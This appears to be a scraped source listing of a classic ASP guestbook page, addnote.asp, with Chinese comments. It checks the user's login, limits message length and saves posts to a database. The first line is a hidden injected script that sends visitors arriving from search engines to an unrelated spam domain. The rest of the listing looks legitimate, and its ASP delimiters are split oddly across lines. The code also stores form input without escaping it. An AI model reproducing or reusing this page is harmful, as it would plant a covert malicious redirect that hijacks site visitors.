d:\wwwroot\wuchunhua\liuyan\board\addnote.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<!--#include file="config.asp"-->
003:
<!--链接本地的conn,再设置config网站名字 最大长度等等-->
004:
005:
<%
006:
'检查用户是否已经登陆,为真则直接进入系统主界面
007:
If Session("IsPassed") = Empty Or Session("IsPassed") = False Then
008:
'没有登陆,返回login.asp要求先登陆
009:
Response.Redirect "../login.asp?ErrMsg=请先登陆"
010:
Response.End
011:
End If
012:
%
>
013:
<%
014:
'用户提交留言
015:
If Request("send")="ok" Then
016:
'留言主题长度大于要求的长度
017:
If len(Request.form("subject"))>subjectmaxlength Then
018:
'给出提示并返回到前一页
019:
Response.Write "<script>alert('留言主题太长了,请不要超过"&subjectmaxlength&"个字符!');history.back();</script>"
020:
Response.End
021:
End If
022:
023:
'留言内容长度大于要求的长度
024:
If len(Request.Form("Contents"))>maxlength Then
025:
'给出提示并返回到前一页
026:
Response.Write "<script>alert('留言内容太长了,请不要超过"&maxlength&"个字符!');history.back();</script>"
027:
Response.End
028:
End If
029:
030:
'将留言保存到数据库中
031:
Set rs=Server.CreateObject("ADODB.RecordSet")
032:
033:
'从数据库中查询留言记录
034:
sql="SELECT * FROM DIGITALNOTE WHERE ID IS NULL"
035:
036:
'执行查询操作,并将结果保存在rs 中
037:
rs.open sql,conn,1,3
038:
039:
'添加一条记录
040:
rs.AddNew
041:
042:
'留言用户ID号
043:
rs("USERID")=Session("ID")
044:
'留言内容
045:
rs("CONTENTS")=Request.Form("Contents")
046:
'IP 地址
047:
rs("IP")=Request.ServerVariables("REMOTE_ADDR")
048:
'留言主题
049:
rs("SUBJECT") = Request.Form("subject")
050:
051:
'更新数据库
052:
rs.Update
053:
054:
'关闭RecordSet 对象
055:
rs.Close
056:
Set rs=Nothing
057:
058:
'提交成功,给出提示,并返回到留言查看界面
059:
Response.Write "<script>alert('留言提交成功,单击“确定”返回留言列表!');location.href='index.asp';</script>"
060:
Response.End
061:
End If
062:
%
>
063:
<html><head>
064:
<title>
<%
=sitename
%
></title>
065:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
066:
<meta name="description" content="
<%
=sitename
%
>">
067:
<meta name="keywords" content="
<%
=sitename
%
>">
068:
<link rel="stylesheet" href="style.css" type="text/css">
069:
</head>
070:
<body background=images/bg.gif topmargin="0" leftmargin="0">
071:
<table width="760" border=0 cellspacing=0 cellpadding=0 bgcolor="#FFFFFF" align=center class="grayline">
072:
<tr><td><img border="0" src="IMAGES/TOPS.gif" width=758></td></tr>
073:
</table>
074:
<center>
075:
<table width="760" border=0 cellspacing=0 cellpadding=0 align=center bgcolor="#FFFFFF" class="grayline">
076:
<tr><td align=center height=50>
077:
<img border=0 src=images/Write.gif> <a href=index.asp><img border=0 src=images/read.gif title="我要看留言"></a>
078:
</td></tr>
079:
<tr><td>
080:
081:
082:
<form action="addnote.asp" method="post" name="book">
083:
<table cellSpacing="1" borderColorDark="#ffffff" cellPadding="4" width="680" align="center" bgColor="#000000" borderColorLight="#000000" border="0">
084:
<tr bgColor="#ebebeb">
085:
<td width="20%" align=right>留言主题:</td>
086:
<td ><input type=text name="subject" size="30" maxlength=50>
087:
<font color="#FF0000">*必须填写(
<%
=subjectmaxlength
%
>字以内)</font></td>
088:
</tr>
089:
<tr bgColor="#ebebeb">
090:
<td width="20%" align=right>留言内容:<br><font color=red>(
<%
=maxlength
%
>字以内)</font></td>
091:
<td><textarea name="Contents" rows="7" cols="66" style="overflow:auto;"></textarea></td>
092:
<tr bgColor="#ebebeb">
093:
<td colSpan="2"><input type="submit" value="提交留言" name="Submit">
094:
<input type="reset" value="重新填写" name="Submit2"><input type=hidden name=send value=ok></td>
095:
</tr>
096:
</table>
097:
</form>
098:
</table>
099:
<table width="760" border=0 cellspacing=0 cellpadding=0 bgcolor="#FFFFFF" align=center class="grayline">
100:
<tr><td> </td></tr>
101:
<tr><td width=30 height=37 background="IMAGES/down.gif"><a href=#top><img src=images/up.gif border=0></a></td>
102:
<td height=37 background="IMAGES/down.gif"> Copyright © 2005 版权所有</td>
103:
<td width=30 height=37 background="IMAGES/down.gif"><a href=admin_login.asp title="管理留言本"><img src=images/admin.gif border=0></a></td>
104:
</tr>
105:
</table>
106:
</center>
107:
</body>
108:
</html>
109:
<%
110:
'关闭数据库链接
111:
'释放对象
112:
conn.Close
113:
Set conn = Nothing
114:
%
>
115:
116: